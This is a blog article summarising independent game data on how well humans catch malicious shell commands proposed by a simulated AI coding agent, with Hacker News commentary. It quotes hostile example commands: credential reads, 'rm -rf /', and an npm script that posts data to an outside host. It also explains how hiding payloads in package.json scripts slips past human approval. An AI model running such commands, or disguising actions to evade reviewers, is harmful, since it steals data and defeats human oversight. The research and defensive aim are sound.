Humans Missed 1 in 3 AI Agent Threats: Alex Wauters's 40,000-Play Data

Independent developer and security writer Alex Wauters built a browser game to answer a question most teams building AI coding agents assume rather than test: how good are humans actually at reviewing an agent's shell commands before approving them? The game, llmgame.scalex.dev, puts the player in the human-in-the-loop seat for a simulated AI coding agent — approve or deny each proposed shell command, under time pressure, with some commands routine and others quietly malicious.

After adding analytics, Wauters now has real data: 40,000+ game sessions and 409,000 individual approve/deny decisions. The headline number from his original write-up is stark — players missed 1 in 3 threats, a 66.3% mean accuracy rate that puts a hard number on a problem explainx.ai has covered from the architecture side in Claude Code permission modes and the human-in-the-loop gating framework: approval gates only work if the human on the other end of the gate is actually catching the bad commands.

This is independent, third-party research from Alex Wauters and scalex.dev — not explainx.ai's own study — and the numbers below are attributed to his analysis throughout.

TL;DR

The Setup: You Are the Human in the Loop

The game's premise mirrors exactly what Claude Code's permission modes and every other agent harness ask a real developer to do dozens of times a session: an AI coding agent proposes a shell command, and you decide, in the moment, whether to approve or deny it. Some commands are unremarkable — git status, npm test, ls -la. Others are attacks dressed up to look ordinary — cat ~/.aws/credentials, a crontab injection, or a curl piping data to an unfamiliar host.

The player has seconds, not minutes, to decide — the same time pressure a developer feels mid-flow when a coding agent throws a permission prompt and they just want to keep moving. That design choice is what makes the resulting data worth taking seriously: it isn't a quiz taken at leisure, it's closer to the actual cognitive conditions under which real approve/deny decisions get made.

The Headline Numbers

Wauters' aggregate stats, drawn from all 409,000 decisions across the 40,000+ sessions:

• 66.3% mean accuracy — players correctly handled about two-thirds of all commands, meaning roughly 1 in 3 threats got approved.
• 32.9% of sessions ended with a negative score — penalties from approved threats and from wrongly blocking safe commands outweighed the points earned from correct calls.
• 35.2% of players caught every single threat in their session — but only 20.8% did so while also keeping over-blocking in check (denying at most 1 in 5 safe commands). The rest of the "caught everything" group got there by just denying almost everything, which isn't a usable strategy against a real agent you're trying to let do work.
• 7% of players approved every single prompt — what Wauters calls "big fans of --dangerously-skip-permissions," a phrase explainx.ai's own permission modes guide covers as the highest-risk configuration available, precisely because it removes this exact human checkpoint entirely.

Wauters is careful to flag the study's own limits: roughly 34% of the commands in the game were threats, far above real-world prevalence, and players knew upfront they were being tested for exactly this. Real developers approving commands mid-task, with no reason to suspect an attack, are working under weaker vigilance than any game participant — so 66.3% should be read as an optimistic ceiling, not a realistic floor.

Threat Categories: Not All Misses Are Equal

The miss rate varies enormously by threat type, and the pattern says something specific about what humans are actually good and bad at recognizing:

The pattern is intuitive once you see it laid out: humans are quite good at recognizing commands that look violently destructive on their face. rm -rf / reads as dangerous because it is visually dangerous — the same instinct explainx.ai covered in the Destructive Command Guard post, where the open-source dcg hook exists specifically because that category is common and recognizable enough to pattern-match against automatically.

What humans are markedly worse at is anything that looks like a normal read (cat ~/.aws/credentials reads, syntactically, exactly like cat README.md) or a normal script invocation. That gap is where the game's most interesting finding lives.

The Most-Missed Command: npm run analyze

The single most successful attack in the dataset wasn't a scary-looking one-liner. It was npm run analyze — approved 64.7% of the time, despite the game's own agent history log showing that the underlying package.json script piped build stats to curl -s -X POST https://api.bundle.track/report. Players saw a command they recognized from every JavaScript project they'd ever touched, and approved it without reading what the script actually did.

Two more camouflaged npm-script attacks ranked in the top ten most successful:

• npm run setup — 48.0% missed, ranked 4th of 37 threats
• npm run deploy — 44.9% missed, ranked 8th of 37 threats

Pooled together, these three familiar-named npm-script attacks were missed 52.5% of the time (n=9,482) — compared to 28.4% for other exfiltration-style attacks that didn't hide behind a recognizable script name. That's roughly double the success rate for an attacker who does nothing more sophisticated than naming their malicious script something a developer already trusts.

A Hacker News commenter, dns_snek, cited in Wauters' post, put the underlying design flaw plainly:

"That's a great example of how dangerous actions are perceived as innocent. The entire model of approving specific commands is absolutely bonkers... npm run build = run an arbitrary shell command written in package.json."

The deeper problem dns_snek's comment gestures at is that the command name is a false signal in the first place. An agent — or an attacker — doesn't even need to trigger a suspicious-looking prompt to achieve the same effect: editing package.json directly, planting code in build.js, or modifying a file that build.js imports would all bypass command-level review entirely, since the shell command that eventually runs (npm run build) looks completely unremarkable regardless of what's actually inside the script.

Permission Fatigue Is Real, Not Just a Feeling

Wauters' data shows miss rates climbing toward the end of sessions — players who started sharp got sloppier as the number of prior approvals accumulated. He connects this directly to Anthropic's own internal observation on the phenomenon: the more approvals a user sees, the less attention they pay to each one, becoming measurably less diligent in their supervision over time.

This is the mechanism explainx.ai's human-in-the-loop framework post argues against directly: gating everything doesn't make a system safer if the volume of gates erodes the quality of every individual review. A gate a tired human rubber-stamps provides less real protection than no gate plus a hard technical control, which is exactly why that post's decision framework pushes teams toward surgical gating — reserve human review for genuinely high-stakes, irreversible actions — rather than routing every command through the same fatigued approval queue.

Over-Blocking Cuts the Other Way

The game also measured false positives — safe commands players wrongly denied — and the numbers show reviewers erring toward caution in ways that would make a real agent workflow unusable:

• npm config set registry https://npm.internal — blocked 59% of the time, despite being a routine internal-mirror configuration
• rm -rf dist/ — blocked 45% of the time, despite being ordinary build-output cleanup
• kill $(lsof -t -i:3000) — blocked 43% of the time, despite being the standard way to free a crashed dev server's port

The most contested single command was cat ~/.zshrc, approved 45.9% of the time — a genuinely divisive case, since its risk depends entirely on whether the reader keeps secrets directly in their shell profile or in a separate sourced secrets file that .zshrc merely points to.

Put the over-blocking numbers next to the miss rates and the picture is unflattering for "just ask the human" as a security model: the same players who let through a third of real threats also blocked nearly half of the routine commands a working agent needs to run. That combination is exactly why 32.9% of sessions ended net-negative — the errors compound in both directions at once.

What the Hacker News Discussion Added

Wauters' post drew dozens of comments within its first couple hours on Hacker News (63 points per the submission from user Wirbelwind). A few threads add useful context beyond the raw numbers:

continuational put the core critique bluntly:

"It's kinda funny there is still software coming out whose security model is 'constantly ask the user for permission, and hope they never make a mistake.' It's been tried so many times before, and it never worked."

jerf raised a harder problem underneath the data: defining what a "secure agent" even means is genuinely difficult, because agents combine multiple individually-safe capabilities — web access, file reads, MCP servers — in ways that only become unsafe in combination. Any blanket "lock it down" policy tends to break the agent's actual usefulness, which is the same tension explainx.ai's agent gating framework tries to resolve with reversibility and blast-radius criteria rather than blanket rules.

cogman10 argued the pragmatic containment answer is running agents in a VM with the working directory mounted, so the environment can be reset to clean state — while conceding exfiltration is nearly impossible to fully prevent, since "LLMs are exfiltration machines" by design: they're built to take in your code and data and act on it.

wmanley proposed a different permission model entirely — have the agent ask about file read/write access rather than about individual commands, a scope that's easier for a human to reason about, combined with sandboxing tools like bubblewrap (bwrap) and an HTTP proxy to constrain network egress.

How This Compares to Other Real-World Agent Incidents

Wauters' data is a controlled game, but it lines up with real incidents explainx.ai has covered where the same failure modes played out with actual consequences. The Claude Memory Heist case showed an agent exfiltrating personal data through web_fetch link-following with no command prompt at all to catch — the scope-violation category Wauters' players missed 35% of the time, except with no review step available in the first place. The Codex $HOME deletion incident showed the opposite failure: a destructive action executing because full-access mode had bypassed sandboxing entirely, removing the review gate rather than the gate failing.

Both incidents make the same point Wauters' data makes at scale: whether the human misses the threat (his data) or the review step is absent entirely (both incident case studies), the outcome is the same unless a technical control — sandboxing, scoped credentials, a command-policy hook like Destructive Command Guard — backs up the human decision.

The Practical Takeaway

Wauters' own conclusion, and the one this data supports, is not "human review is useless." Obvious destructive commands were missed only 11.7% of the time — humans remain a genuinely useful filter for the loud, unambiguous cases. The conclusion is narrower and more actionable: human approval alone is measurably unreliable as a sole safeguard, especially against anything disguised behind a familiar name or a routine-looking file read, and especially as session length and prompt volume grow.

For teams building or using AI coding agents, that translates into three concrete habits:

1. Read the script, not the command name. npm run analyze looked safe because npm run X always looks safe. The 52.5% miss rate on camouflaged npm scripts versus 28.4% on other exfiltration attempts is the clearest single number in the dataset — familiarity is the attack surface.
2. Pair human review with sandboxing and scoped credentials. Wauters' own recommended mitigations, and the same conclusion explainx.ai's permission modes guide reaches independently: never run an agent with broad credentials or unrestricted network access and rely on a human catching every bad call.
3. Gate surgically, not everywhere. Permission fatigue is a real, measured effect — every added approval prompt taxes the vigilance available for the next one. The human-in-the-loop framework argument holds: reserve hard gates for genuinely irreversible, high-blast-radius actions, and let technical controls carry the load for everything else.

Play the game yourself at llmgame.scalex.dev to see how your own approve/deny instincts hold up against 409,000 data points' worth of company. Wauters' full analysis, including his complete mitigation writeup, is at scalex.dev.

Related on explainx.ai

• Claude Code Permission Modes Explained — default, acceptEdits, and bypassPermissions, and when each is appropriate
• Human-in-the-Loop AI: When to Let the Agent Run — the gating decision framework this data validates
• Destructive Command Guard (dcg) — an open-source technical control for the "obvious destructive" category
• Claude Memory Heist: web_fetch Exfiltration — a real-world exfiltration case with no approval gate available at all
• Codex GPT-5.6 $HOME Deletion — what happens when the review gate is bypassed rather than missed
• What is an Agent Harness? — the scaffolding around agents that permission and gating systems plug into

Data points and quotes in this post are drawn from Alex Wauters' original analysis at scalex.dev and the game itself at llmgame.scalex.dev, current as of publication on August 6, 2026. Hacker New discussion figures (points, comment count) reflect the thread's state at time of writing and may have changed since.